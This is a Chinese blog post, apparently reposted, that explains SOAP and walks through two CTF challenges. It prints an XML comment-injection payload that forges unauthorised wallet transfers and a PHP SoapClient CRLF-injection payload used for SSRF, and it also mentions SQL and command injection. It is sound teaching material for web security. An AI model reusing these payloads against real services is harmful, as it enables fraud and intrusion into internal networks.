从几道CTF题看SOAP安全问题

栏目: 服务器 · 发布时间: 6年前

内容简介:暑假的时候不学点东西,和咸鱼有什么区别?在看一篇writeup的时候,发现又出现了SOAP

从几道CTF题看SOAP安全问题

前言

暑假的时候不学点东西,和咸鱼有什么区别?

在看一篇writeup的时候,发现又出现了SOAP

感觉似曾相识,却想不起来,于是温习一波~

SOAP基础知识

SOAP的基本概念

什么是SOAP?这就要从WebService说起了

WebService是一种跨平台,跨语言的规范,用于不同平台,不同语言开发的应用之间的交互。

比如在Windows Server服务器上有个C#.Net开发的应用A,在 Linux 上有个 Java 语言开发的应用B,B应用要调用A应用,或者是互相调用。用于查看对方的业务数据。这个时候,如何解决呢?

WebService就是出于以上类似需求而定义出来的规范:开发人员一般就是在具体平台开发webservice接口,以及调用webservice接口。每种开发语言都有自己的webservice实现框架。

而SOAP作为webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP 可以和现存的许多因特网协议和格式结合使用,包括超文本传输协议(HTTP),简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。

从几道CTF题看SOAP安全问题

简单而言,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。

其采用HTTP作为底层通讯协议,XML作为数据传送的格式

SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。

SOAP的组成

一条 SOAP消息的组成:一个包含有一个必需的 SOAP 的封装包,一个可选的 SOAP 标头和一个必需的 SOAP 体块的 XML 文档。

SOAP消息格式:

<?xml
 version="1.0"?>
<soap:Envelope
 xmlns:soap="http://www.w3.org/2001/12/soap-envelope"
 soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">

<soap:Header>
</soap:Header>

<soap:Body>
<soap:Fault>
</soap:Fault>
</soap:Body>

</soap:Envelope>

其中

Envelope: 标识XML文档,具有名称空间和编码详细信息。

Header:包含标题信息,如内容类型和字符集等。

Body:包含请求和响应信息。

Fault:错误和状态信息。

而关于soap的漏洞,我将用两道ctf的案例进行讲解分析

SOAP漏洞利用之代码注入(一)

题目如下

从几道CTF题看SOAP安全问题

我们有如下功能

1.Profile:显示我们的当前身份和余额,每人最开始都有110元

2.Menu:主页面

3.Transfer:允许我们输入接收者ID并发送金额

4.VIP:需要1,000,000元才能进入该页面,应该是flag了

5.For Developers:告知我们api正在开发中,无法使用,但是html注释中有api的链接

不难看出,这是突破点,于是打开api链接后 api/bankservice.wsdl.php

不难提取如下两个SOAP API:

检查余额

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank">
  <soapenv:Header/>
  <soapenv:Body>
     <urn:requestBalance soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <wallet_num xsi:type="xsd:decimal">wallet_num</wallet_num>
     </urn:requestBalance>
  </soapenv:Body>
</soapenv:Envelope>

转账交易

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank">
  <soapenv:Header/>
  <soapenv:Body>
     <urn:internalTransfer soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <receiver_wallet_num xsi:type="xsd:decimal">receiver_wallet_num</receiver_wallet_num>
        <sender_wallet_num xsi:type="xsd:decimal">sender_wallet_num</sender_wallet_num>
        <amount xsi:type="xsd:float">amount</amount>
        <token xsi:type="xsd:string">token</token>
     </urn:internalTransfer>
  </soapenv:Body>
</soapenv:Envelope>

一目了然,对于余额检查,输入一个钱包id即可

而对于转账交易,需要输入接受者、发送者、发送金额、token四个参数

而我们需要理由的点,也肯定是转账交易了

这样就可以将所有用户的初始余额汇总到我们手上,以此得到flag

但是问题来了,我们缺少交易的token,那么如何不需要token,即可让所有人给我们转账呢?

这里就用到了一些注入

从几道CTF题看SOAP安全问题

经过插入后,代码成为

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank">
  <soapenv:Header/>
  <soapenv:Body>
     <urn:internalTransfer soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <receiver_wallet_num xsi:type="xsd:decimal">我们自己的id</receiver_wallet_num>
        <sender_wallet_num xsi:type="xsd:decimal">其他人</sender_wallet_num>
        <!--
        </receiver_wallet_num>
        <sender_wallet_num xsi:type="xsd:decimal">sender_wallet_num</sender_wallet_num>
        <amount xsi:type="xsd:float"> 
      -->
        <amount xsi:type="xsd:float">750000</amount>
        <token xsi:type="xsd:string">token</token>
     </urn:internalTransfer>
  </soapenv:Body>
</soapenv:Envelope>

通过代码的拼接(有点类似于 sql 注入,但又不是,也是利用语句的拼接与注释),我们即可控制自己想控制的位置,已到达任意转账的目的

从几道CTF题看SOAP安全问题

最后访问vip页面即可

从几道CTF题看SOAP安全问题

SOAP漏洞利用之CRLF与SSRF(二)

这就要从 php 的soap说起了,正如之前所说每种开发语言都有自己的webservice实现框架,php也不例外:

PHP 的 SOAP 扩展可以用来提供和使用 Web Services

这个扩展实现了6个类。其中有三个高级的类: SoapClient、SoapServer 和SoapFault,

和三个低级类,它们是 SoapHeader、SoapParam 和 SoapVar。

他们的关系如下:

从几道CTF题看SOAP安全问题

而我们的重点利用对象当然是soapclient类

而为什么soapclient会有CRLF(carriage return/line feed)注入攻击问题呢?

这又要从soapclient的一个选项说起,我们查阅PHP手册

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

其中的 $options 我们跟进查看

从几道CTF题看SOAP安全问题 其中有一个选项为 user_agent
可以让我们自定义 User-Agent

为什么要利用 User-Agent

因为http header里有一个重要的 Content-Type为Content-Length

既然我们想要进行CRLF注入,那么势必需要控制这两项才可以实现

User-Agent 的http header位置正好在这些之上,所以可以进行覆盖

对于 Content-Type ,如果我们想要利用CRLF发送post请求,那么要求它为 application/x-www-form-urlencode

那么此时就可以利用CRLF,构造如下payload(以N1CTF的payload为例)

$payload = new SoapClient(null,array('user_agent'=>"testrnCookie: PHPSESSID=08jl0ttu86a5jgda8cnhjtvq32rnContent-Type: application/x-www-form-urlencodedrnContent-Length:45rnrnusername=admin&password=nu1ladmin&code=470837rnrnrn",'location'=>$location,
'uri'=>$uri));

即可进行CRLF攻击

这样的攻击有什么用?

我们假设我们可以从外网调用到soap的api

而攻击目标是在内网

那么就可以利用soap攻击内网,因为CRLF的原因,可以增加我们的攻击面,包括sql注入,命令执行等等

所以也可以说是SSRF攻击了

其他

和许多漏洞一样,如果实现不同功能的时候,接收到不同的恶意参数,那么也会引起各种各样的攻击

像是实现sql查询的功能,可以引起sql注入问题

从几道CTF题看SOAP安全问题 从几道CTF题看SOAP安全问题

实现lookupDNS web服务的功能时,可引起命令注入的问题

从几道CTF题看SOAP安全问题 从几道CTF题看SOAP安全问题

后记

soap作为重要的消息通讯连接,如果过滤或者使用不当,很容易引起许多高危攻击

而本人不才,可能有许多点还没注意到,如有更好的观点,还请斧正!

参考链接


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

C++沉思录

C++沉思录

Andrew Koenig、Barbara Moo / 黄晓春、孟岩(审校) / 人民邮电出版社 / 2002-11-01 / 50.00元

《C++ 沉思录》集中反映了C++的关键思想和编程技术,不仅告诉你如何编程,还告诉你为什么要这样编程。本书曾出现在众多的C++专家推荐书目中。 这将是C++程序员的必读之作。因为: 它包含了丰富的C++思想和技术,从详细的代码实例总结出程序设计的原则和方法。 不仅教你如何遵循规则,还教你如何思考C++编程。 既包括面向对象编程也包括泛型编程。 探究STL这一近年来C++最重要的新成果的内在思想。一起来看看 《C++沉思录》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换